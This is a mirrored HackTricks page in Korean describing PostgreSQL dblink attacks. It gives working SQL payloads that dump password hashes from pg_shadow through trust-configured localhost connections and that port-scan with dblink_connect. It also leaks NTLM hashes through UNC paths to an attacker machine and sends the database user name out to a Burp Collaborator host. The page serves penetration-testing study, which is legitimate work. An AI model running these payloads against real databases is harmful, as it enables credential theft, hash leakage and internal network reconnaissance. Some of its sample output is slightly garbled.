mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
98 lines
4.0 KiB
Markdown
98 lines
4.0 KiB
Markdown
# 네트워크 - 권한 상승, 포트 스캐너 및 NTLM 챌린지 응답 누출
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
**자세한 내용은** [**원본 문서에서 이러한 공격에 대한 더 많은 정보를 찾으세요**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt).
|
|
|
|
**PostgreSQL 9.1**부터 추가 모듈 설치가 간단해졌습니다. [등록된 확장 프로그램인 `dblink`](https://www.postgresql.org/docs/current/contrib.html)는 [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html)으로 설치할 수 있습니다:
|
|
```sql
|
|
CREATE EXTENSION dblink;
|
|
```
|
|
dblink이 로드되면 몇 가지 흥미로운 트릭을 수행할 수 있습니다:
|
|
|
|
### 권한 상승
|
|
|
|
파일 `pg_hba.conf`가 잘못 구성되어 **비밀번호를 알 필요 없이** **모든 사용자로부터 localhost의 연결을 허용**할 수 있습니다. 이 파일은 일반적으로 `/etc/postgresql/12/main/pg_hba.conf`에 위치하며, 잘못된 구성은 다음과 같습니다:
|
|
```
|
|
local all all trust
|
|
```
|
|
_이 구성은 관리자가 비밀번호를 잊어버렸을 때 db 사용자 비밀번호를 수정하는 데 일반적으로 사용되므로, 때때로 이를 발견할 수 있습니다._\
|
|
&#xNAN;_또한 pg_hba.conf 파일은 postgres 사용자 및 그룹만 읽을 수 있으며, postgres 사용자만 쓸 수 있습니다._
|
|
|
|
이 경우는 **유용합니다** **이미** 피해자 내부에 **쉘**이 있는 경우로, postgresql 데이터베이스에 연결할 수 있게 해줍니다.
|
|
|
|
또 다른 가능한 잘못된 구성은 다음과 같은 것입니다:
|
|
```
|
|
host all all 127.0.0.1/32 trust
|
|
```
|
|
로컬호스트의 모든 사용자가 데이터베이스에 연결할 수 있게 됩니다.\
|
|
이 경우 **`dblink`** 함수가 **작동**하면, 이미 설정된 연결을 통해 데이터베이스에 연결하여 접근할 수 없는 데이터에 접근함으로써 **권한 상승**을 할 수 있습니다:
|
|
```sql
|
|
SELECT * FROM dblink('host=127.0.0.1
|
|
user=postgres
|
|
dbname=postgres',
|
|
'SELECT datname FROM pg_database')
|
|
RETURNS (result TEXT);
|
|
|
|
SELECT * FROM dblink('host=127.0.0.1
|
|
user=postgres
|
|
dbname=postgres',
|
|
'select usename, passwd from pg_shadow')
|
|
RETURNS (result1 TEXT, result2 TEXT);
|
|
```
|
|
### 포트 스캐닝
|
|
|
|
`dblink_connect`를 악용하여 **열려 있는 포트를 검색**할 수 있습니다. 만약 그 **함수가 작동하지 않으면, 문서에 따르면 `dblink_connect_u()`는 `dblink_connect()`와 동일하지만, 비슈퍼유저가 어떤 인증 방법을 사용하여도 연결할 수 있도록 허용합니다**.
|
|
```sql
|
|
SELECT * FROM dblink_connect('host=216.58.212.238
|
|
port=443
|
|
user=name
|
|
password=secret
|
|
dbname=abc
|
|
connect_timeout=10');
|
|
//Different response
|
|
// Port closed
|
|
RROR: could not establish connection
|
|
DETAIL: could not connect to server: Connection refused
|
|
Is the server running on host "127.0.0.1" and accepting
|
|
TCP/IP connections on port 4444?
|
|
|
|
// Port Filtered/Timeout
|
|
ERROR: could not establish connection
|
|
DETAIL: timeout expired
|
|
|
|
// Accessing HTTP server
|
|
ERROR: could not establish connection
|
|
DETAIL: timeout expired
|
|
|
|
// Accessing HTTPS server
|
|
ERROR: could not establish connection
|
|
DETAIL: received invalid response to SSL negotiation:
|
|
```
|
|
다음에 유의하세요: `dblink_connect` 또는 `dblink_connect_u`를 사용하기 전에 다음을 실행해야 할 수 있습니다:
|
|
```
|
|
CREATE extension dblink;
|
|
```
|
|
### UNC 경로 - NTLM 해시 유출
|
|
```sql
|
|
-- can be used to leak hashes to Responder/equivalent
|
|
CREATE TABLE test();
|
|
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
|
|
```
|
|
|
|
```sql
|
|
-- to extract the value of user and send it to Burp Collaborator
|
|
CREATE TABLE test(retval text);
|
|
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
|
|
DECLARE sqlstring TEXT;
|
|
DECLARE userval TEXT;
|
|
BEGIN
|
|
SELECT INTO userval (SELECT user);
|
|
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
|
|
EXECUTE sqlstring;
|
|
END;
|
|
$$ LANGUAGE plpgsql SECURITY DEFINER;
|
|
SELECT testfunc();
|
|
```
|
|
{{#include ../../../banners/hacktricks-training.md}}
|